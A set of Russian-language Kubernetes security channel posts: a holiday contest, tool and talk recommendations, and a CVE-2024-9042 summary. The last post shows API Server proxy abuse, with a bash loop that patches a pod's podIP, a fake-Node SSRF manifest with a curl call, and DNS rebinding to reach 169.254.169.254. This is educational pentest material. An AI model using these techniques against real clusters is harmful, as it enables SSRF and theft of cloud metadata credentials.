Всем, привет!

Неумолимо приближаются праздники и наступление Нового года. Нам хочется уже потихоньку создать для вас новогоднее настроение (если у вас его еще нет). Для этого мы разыграем несколько наших подарков!

И так что надо сделать чтобы выиграть один из наших светильников:
К комментарию к данному посту необходимо написать оригинальное поздравление c Новым Годом для специалиста по безопасности контейнерных сред и Kubernetes =)

- Варианты принимаем до 26 числа включительно
- Вариантов может быть несколько
- Победителей на наше усмотрение может быть несколько
- Победителей будем выбирать своим субъективным мнением команды Luntry
- C победителями свяжемся и договоримся о передаче/пересылке

Наверняка если вам нужно изучить структуру какого-нибудь ресурса из Kubernetes вы идете в документацию и смотрите API Overview.

Но это не всегда бывает удобно, поэтому сегодня хотим порекомендовать вам ресурс kubespec.dev. По сути это тоже своего рода структурированная документация по структурам ямлов всех Kubernetes ресурсов, но в более удобном и красивом отображении.

Из плюсов можно добавить возможность сравнения ресурсов между собой по версиям, примеры манифестов, а также поддержку кастомных ресурсов, например Kyverno, Cilium, Istio и т.д.

Проект появился недавно и активно развивается, так что в скором времени можно увидеть и другие фичи.

Хорошая статья "Evolution of pod’s privilege in EKS", демонстрирующая эволюцию механизмов предоставления прав Pods в Kubernetes в облачном провайдере на примере EKS. Достаточно подробно рассматривается путь:
1) Host role (...-2017)
2) Proxy roles (2017–2019)
3) IRSA (2019–2023)
4) Pod Identity (2023-...)

Сегодня хотим отдельно рассказать про доклад, который мы вскользь упоминали в начале года – "I'll Let Myself In: Kubernetes Privilege Escalation Tactics" от Iain Smart & Andrew Martin. Авторы, уже рассказывали его на нескольких конференциях, последний раз на
Kubernetes Community Days UK.

В докладе авторы делятся способами повышения привилегий в Kubernetes кластерах, что будет полезным если вы делаете пентесты. Также не забывают и про постэксплуатацию.

На примере разбирается демо с Argo CD и побегом из контейнера в CI/CD.

Чтобы вам на новогодних праздниках было не скучно - мы залили к нам на сайт видео двух наших выступлений:
1) "Латаем огрехи в образах приложений до рантайма, во время и после" c DevOops 2024
2) "Готовим контейнеры полезно и вкусно" c SafeCode 2024

Теперь в нашем разделе Исследований есть абсолютно все что мы презентовали в этом году! А это более 15 технических докладов и воркшопов за 2024 год по теме безопасности контейнеров и Kubernetes!

Сегодня хотим познакомить вас с одним необычным проектом с идеей о которой я думаю так или иначе задумывались многие ;)

Проект Kine это etcdshim, который транслирует etcd API к:
- SQLite
- Postgres
- MySQL/MariaDB
- NATS

Тут же вспоминается недавняя статья "65,000 nodes and counting: Google Kubernetes Engine is ready for trillion-parameter AI models" в которой рассказывалось, что для достижения таких умопомрачительных показателей (одним из изменений) было решено отказаться от etcd в пользу Spanner.

Давайте в комментариях накидаем мнений ЗА и ПРОТИВ подобной идеи.

P.S. Наверное предновогоднее настроение сказывается и тянет на что-то необычное, странное, сказочное наподобие такого)

В начале года мы рассказывали про IMDSv2 в AWS облаке и то от чего может защитить этот механизим. Сегодня делимся неплохой статьей, попавшей к нам в руки – From Detection to Enforcement: Migrating from IMDSv1 to IMDSv2.

В статье авторы рассматривают шаги, связанные с внедрением IMDSv2, и проблемы с которыми можно столкнуться при переходе с IMDSv1. Переход от IMDSv1 к IMDSv2 может быть сложным процессом, особенно в больших распределенных средах, где может быть трудно получить информацию об использовании IMDSv1 во всех экземплярах EC2. Процесс миграции можно упростить, разбив его на ключевые этапы: идентификация, атрибуция, миграция и внедрение, хотя и здесь есть свои сложности.

Неплохая серия статей с замерами по теме сравнения и выбора Service Mesh (Istio, Linkerd, Cilium):
- Service Meshes Decoded Part One: A performance comparison of Istio vs Linkerd vs Cilium
- Service Meshes Decoded Part Two: Is Istio Ambient worth it?

Подводим итоги нашего новогоднего конкурса! Спасибо большое всем участникам - было здорово получить столько вариантов! Большего всего нам понравились поздравления от:
- @KorvinStromji
- @ultramaxim

Команда Luntry поздравляет победителей =)

P.S. В ближайшее время свяжемся с победителями насчет передачи подарков.

Подведем итоги года данного канала в цифрах.

Большое спасибо всем читателям, всему сообществу за вашу активность!


P.S. Цифры прошлых лет можно посмотреть тут и тут.

Сегодня хочется познакомить вас с еще одним обучающим проектом в котором есть немного теории и практики по безопасности Kubernetes.

Это проект Damn Vulnerable Kubernetes Application (DVKA). В нем есть 2 задания:
- Hack The NFT Museum
- Enterprise Grade Network Debugging Console

Развернуть их можно на Minikube или Kind. И это напоминает проект Kubernetes Goat о котором мы уже рассказывали.

Также тут есть теория "Kubernetes Security Workshop: Hands-On Attack and Defense" со слайдами, и полезными ссылками, и последовательностями команд.

Самое то что можно развернуть на праздниках и поучиться ;)

Наша команда Luntry поздравляет всех читателей канала с наступающим 2025! Желаем всем счастья, здоровья в новом году и чтобы Kubernetes для вас стал не очередной головной болью, а их решением на пути к безопасной инфраструктуре и безопасным приложениям! А мы с командой вам также поможем на этом пути ;)

На следующий год мы запланировали много всего очень интересно и полезного. Что-то мы готовили весь этот год и готовы представить в следующем, что-то сделаем впервые и о чем нас давно просили =)

Мы в большом предвкушении показать как наши новые фичи, так и новые исследования! Тут будут и истории про 0day и 1day в Kubernetes и популярных Cloud Native решения (пока ждем патчей - в новом году обновляться придется часто).

Всем хорошо встретить праздники и набраться сил ;)

Когда-то мы рассказывали на канале о таком ресурсе как HackTricks. Там был раздел, посвященный Kubernetes Security, однако потом он переехал на отдельный ресурс HackTricks Cloud.

Сегодня мы хотим поделиться AI Assistant от создателя этих ресурсов – HackTricks Assistant. По сути это чат-бот, который натренирован на информации с HackTricks. В том числе, по Kubernetes Security.

Однако, по правде сказать – ничего особенного, этакая замена привычному поиску по сайту.

Стали доступны записи выступлений с KubeCon + CloudNativeCon India 2024. Полный плейлист можно найти тут (это под 100 видео). Отдельно отметим доклады:
- A Deep Dive Into the Current Runtime Security Landscape
- Tutorial: Flatcar Container Linux Deep Dive: Deploying, Managing, and Automating Workloads Securely
- Enhance Kubernetes Security with the Common Expression Language (CEL)

Сегодня вновь затронем тему eBPF, а точнее observability зашифрованного трафика с помощью этой технологии – статья "What Insights Can eBPF Provide into Real-Time SSL/TLS Encrypted Traffic and How?" как раз об этом.

Автор рассматривает две функции – SSL_write() для записи данный (используется для перехвата данных, записанных клиентом, но еще не зашифрованных) и SSL_read() для чтения данных из SSL соединения. Эта функция позволяет перехватить расшифрованные данные, а также разобрать код ответа.

Самое интересное, что даже не нужны сертификаты TLS/SSL для расшифровки или шифрования трафика. Это позволяет наблюдать за протоколом приложения как до шифрования, так и после расшифровки.

Если говорить про перформанс, то такой способ даёт оверхед, хоть и всего 0.2 мкс. Кроме того, средняя нагрузка на процессор, создаваемая каждым хуком, выглядит следующим образом: 0,1% для uprobe/SSL_write*, 0,007% для uprobe/SSL_read* и 0,3% для uretprobe/SSL_read. Замеры проводились на 1000 запросах для каждого HTTP метода.

Простая и понятная визуализация на тему как выбрать соответствующий Distroless образ от Google для вашего приложения.

О том что distroless бывают разные мы писали тут. И не забываем что там не все идеально - об этом писали тут ;)

Ну и вообще не только Google такое делает. И вообще можно это делать своими руками.

Первая конференция в 2025-ом году, которая зацепила наше внимание – ShmooCon 2025. Там было много интересных докладов, в том числе там был доклад и про Kubernetes Security – "A Commencement into Real Kubernetes Security (Jay Beale and Mark Manning)".

В докладе авторы рассказывают много чего интересного – затрагивают проблемы system call filtering system, приводящие к TOCTOU, говорят про инструменты для генерации и управления seccomp профилями в Kubernetes, показывают демо работы с инструментами peirates и KubeHound (1, 2).

Также в докладе был упомянут новый инструмент Seccomp-Diff, который может сравнивать Seccomp профили двух контейнеров и подсвечивать наиболее опасные системные вызовы. Может работать как CLI, так и через веб-приложение.

Сегодня мы вам рекомендуем изучить статью "Building Container Images FROM Scratch: 6 Pitfalls That Are Often Overlooked" (Иван продолжай в том же духе ;)). Название говорит само за себя. Все с наглядными примерами проблем и их решениями.

Вышло очередное новое видео из серии Kubernetes Security Fundamentals от Rory McCune. Это видео про Authentication, а вернее о том как работает аутентификация учетных записей сервисов в Kubernetes. Видео доступно по ссылке тут.

Начнем эту неделю со статьи "Reproducing CVE-2024-9042: Command Injection in Windows Kubernetes Nodes" про CVE-2024-9042, которая описывается вендором: Command Injection affecting Windows nodes via nodes/*/logs/query API. Ключевые моменты:

- Только Windows
- Должен быть включен NodeLogQuery feature gate (по умолчанию сейчас выключен и эту ручку упоминали тут)
- pattern параметр этой фичи напрямую передается в Powershell без фильтрации
- command injection любым пользователем и service account с правами GET на nodes/logs
- Позволяет выполнять команды на всех Windows нодах от NTAuthority\system

Вот как-то само собой так получается, что когда мы рассказываем [1,2] про Kubernetes в Windows мире, это обязательно про какие-то баги. И при этом эти баги не проходные, а которые действительно могут быть очень полезны атакующему.

P.S. Кто-нибудь Kubernetes кластера на Windows держит или игрался с ними?

Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server.

Наверняка вы знаете, что Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.

Очевидно, что kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:

1) Проксирование на адреса вне кластера

Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:

#!/bin/bash

set -euo pipefail

readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1

while true; do
  curl -v -H 'Content-Type: application/json' \
    "http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"

  cat $POD-orig.json |
    sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
      >"${POD}-patched.json"

  curl -v -H 'Content-Type:application/merge-patch+json' \
    -X PATCH -d "@${POD}-patched.json" \
    "http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"

  rm -f "${POD}-orig.json" "${POD}-patched.json"
done

2) SSRF через Fake Node

Если у вас есть возможность создавать Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:

kind: Node
apiVersion: v1
metadata:
  name: fakegoogle
status:
  addresses:
  - address: www.google.com
    type: Hostname

curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/

3) CVE-2020-8562 – Обход blacklist

Эксплуатация уязвимости типа TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRF – DNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.

Про эти и другие способы использования kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".